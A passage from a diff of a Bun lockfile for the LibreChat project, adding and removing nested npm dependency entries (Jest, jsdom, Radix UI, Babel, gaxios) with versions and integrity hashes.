+ "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-url": ["whatwg-url@11.0.0", "", { "dependencies": { "tr46": "^3.0.0", "webidl-conversions": "^7.0.0" } }, "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/xml-name-validator": ["xml-name-validator@4.0.0", "", {}, "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw=="],
+
"@mcp-ui/client/@modelcontextprotocol/sdk/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
- "@mcp-ui/client/@modelcontextprotocol/sdk/express/body-parser": ["body-parser@2.2.0", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.0", "http-errors": "^2.0.0", "iconv-lite": "^0.6.3", "on-finished": "^2.4.1", "qs": "^6.14.0", "raw-body": "^3.0.0", "type-is": "^2.0.0" } }, "sha512-02qvAaxv8tp7fBa/mw1ga98OGm+eCbqzJOKoRt70sLmfEEi+jyBYVTDGfCL/k06/4EMk/z01gCe7HoCH/f2LTg=="],
-
- "@mcp-ui/client/@modelcontextprotocol/sdk/express/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@node-saml/passport-saml/@types/express/@types/express-serve-static-core/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
"@node-saml/passport-saml/@types/express/@types/express-serve-static-core/@types/qs": ["@types/qs@6.9.17", "", {}, "sha512-rX4/bPcfmvxHDv0XjfJELTTr+iB+tn032nPILqHm5wbthUUUuVtNGGqzhya9XUxjTP8Fpr0qYgSZZKxGY++svQ=="],
- "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer/protobufjs/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
- "@opentelemetry/otlp-transformer/protobufjs/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
"@radix-ui/react-arrow/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
- "@radix-ui/react-portal/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
-
"@radix-ui/react-progress/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Y9VzoRDSJtgFMUCoiZBDVo084VQ5hfpXxVE+NgkdNsjiDBByiImMZKKhxMwCbdHvhlENG6a833CbFkOQvTricw=="],
"@radix-ui/react-tabs/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
"@radix-ui/react-tabs/@radix-ui/react-roving-focus/@radix-ui/react-collection/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg=="],
- "body-parser/raw-body/http-errors/statuses": ["statuses@2.0.2", "", {}, "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw=="],
-
"cli-truncate/string-width/strip-ansi/ansi-regex": ["ansi-regex@6.1.0", "", {}, "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA=="],
"colorspace/color/color-convert/color-name": ["color-name@1.1.3", "", {}, "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw=="],
@@ -8839,12 +8225,6 @@
"expect/jest-message-util/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
- "expect/jest-message-util/@jest/types/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
- "expect/jest-util/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
-
- "expect/jest-util/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
"express-static-gzip/serve-static/send/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="],
"express-static-gzip/serve-static/send/encodeurl": ["encodeurl@1.0.2", "", {}, "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w=="],
@@ -8853,29 +8233,87 @@
"express-static-gzip/serve-static/send/mime": ["mime@1.6.0", "", { "bin": "cli.js" }, "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="],
- "gcp-metadata/gaxios/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="],
+ "google-auth-library/gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="],
- "gcp-metadata/gaxios/https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+ "googleapis-common/gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="],
- "glob/minimatch/brace-expansion/balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="],
-
- "istanbul-lib-instrument/@babel/core/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
+ "gtoken/gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="],
"jest-changed-files/execa/onetime/mimic-fn": ["mimic-fn@2.1.0", "", {}, "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="],
- "jest-config/@babel/core/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
"jest-config/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="],
"jest-config/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="],
+ "jest-mock/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
+
"jest-runtime/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="],
"jest-runtime/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="],
+ "jest-util/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
+
"jsdom/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
- "jwks-rsa/@types/express/@types/express-serve-static-core/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
+
+ "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
+
+ "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
+
+ "librechat-data-provider/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+
+ "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-jsx/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-pure-annotations/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
+
